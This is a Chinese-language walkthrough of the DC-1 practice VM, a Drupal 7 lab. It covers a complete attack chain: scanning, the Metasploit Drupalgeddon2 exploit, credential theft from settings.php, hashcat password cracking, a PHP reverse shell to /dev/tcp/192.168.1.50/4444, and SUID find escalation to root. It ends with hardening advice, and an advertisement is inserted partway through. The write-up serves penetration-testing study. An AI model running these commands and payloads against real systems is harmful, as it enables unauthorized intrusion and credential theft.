1. DC-1靶机渗透实战全记录
第一次接触DC-1靶机时,我完全被它精巧的设计所吸引。这个基于Drupal构建的渗透测试环境,完美模拟了企业级CMS系统的安全弱点。作为CTF入门者向中级进阶的经典靶场,它涵盖了从信息收集到最终提权的完整攻击链。下面我将详细拆解整个渗透过程,特别关注那些新手容易忽略的关键细节。
特别提醒:所有操作请在授权环境下进行,本文仅用于技术学习交流
1.1 环境准备与初始侦察
首先需要搭建测试环境。我推荐使用VirtualBox加载DC-1的OVA镜像,网络模式选择"Host-only"或"NAT"确保隔离。启动后用nmap做基础扫描:
bash复制nmap -sV -T4 -p- 192.168.1.100
扫描结果显示开放了22(SSH)、80(HTTP)、111(RPCbind)等端口。特别值得注意的是Drupal 7的指纹信息,这将成为我们的主要突破口。在浏览器访问80端口,确认是Drupal 7默认界面后,我立即启动了针对性的信息收集:
bash复制droopescan scan drupal -u http://192.168.1.100
这个扫描揭示了关键信息:网站使用Drupal 7,且存在默认的CHANGELOG.txt文件。经验告诉我,未更新的Drupal 7系统往往存在已知漏洞。
1.2 漏洞利用与初始入侵
通过searchsploit查找Drupal 7的公开漏洞:
bash复制searchsploit drupal 7.x
发现Drupalgeddon2 (CVE-2018-7600)这个高危RCE漏洞特别适合当前场景。使用Metasploit的exploit/unix/webapp/drupal_drupalgeddon2模块:
bash复制msfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.1.100
exploit
成功获取meterpreter会话后,立即建立稳定通道:
bash复制shell
python -c 'import pty; pty.spawn("/bin/bash")'
此时我们获得了www-data权限的shell。在/var/www目录下发现了settings.php文件,其中包含数据库凭据:
php复制$databases = array (
'default' => array (
'default' => array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 数据库渗透与权限提升
2.1 数据库凭证利用
使用获取的数据库凭据登录MySQL:
bash复制mysql -u dbuser -pR0ck3t drupaldb
查询用户表获取管理员哈希:
sql复制SELECT name,pass FROM users;
得到admin用户的密码哈希,使用hashcat进行破解:
bash复制hashcat -m 7900 '$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR' rockyou.txt
成功破解出明文密码后,通过web界面登录admin账户,上传PHP反向shell:
php复制<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'"); ?>
2.2 SUID提权路径分析
在低权限shell中,查找具有SUID权限的可执行文件:
bash复制find / -perm -4000 2>/dev/null
发现/usr/bin/find具有SUID位,这成为提权的关键。通过GTFOBins提供的payload:
bash复制touch pentest
/usr/bin/find pentest -exec whoami \;
确认可以root身份执行命令后,建立持久化root shell:
bash复制/usr/bin/find pentest -exec /bin/bash -p \;
成功获取root权限后,在/root目录下找到最终的flag文件,完成整个渗透过程。
3. 关键问题排查与防御建议
3.1 常见错误处理
-
Meterpreter会话不稳定:
- 使用
exploit/multi/handler建立备用会话 - 设置AutoRunScript保持连接:
bash复制set AutoRunScript post/windows/manage/migrate
- 使用
-
哈希破解失败:
- 尝试组合规则攻击:
bash复制
hashcat -m 7900 -r rules/best64.rule hash.txt rockyou.txt - 使用更精准的字典如Seclists中的专业字典
- 尝试组合规则攻击:
3.2 防御加固方案
针对本靶机暴露的安全问题,企业管理员应采取以下措施:
-
Drupal防护:
- 及时更新CMS核心和插件
- 删除CHANGELOG.txt等敏感文件
- 限制admin页面访问IP
-
系统层防护:
- 定期审计SUID/SGID文件
- 使用AppArmor限制服务权限
- 配置mysql用户最小权限原则
-
网络层防护:
- 防火墙限制RPCbind端口访问
- 部署WAF防护RCE攻击
- 启用SSH证书认证
4. 渗透测试方法论总结
通过DC-1靶机的完整渗透,我总结出以下实战经验:
-
信息收集决定成功率:
- 指纹识别要精确到版本号
- 配置文件泄露往往事半功倍
- 保持扫描的隐蔽性和全面性平衡
-
权限提升的思维模式:
- 先横向移动收集凭证
- 再纵向突破寻找特权程序
- 最后考虑内核漏洞等高风险操作
-
工具链的最佳实践:
- Metasploit用于快速验证
- 手工利用确保精准控制
- 自写脚本处理特殊情况
这个靶机最精妙之处在于它展示了现实网络中典型的漏洞链:从Web应用到数据库再到系统权限的完整突破路径。建议新手在root之后,尝试不依赖SUID提权的其他方法,比如通过cron job或环境变量劫持等方式,全面锻炼渗透能力。
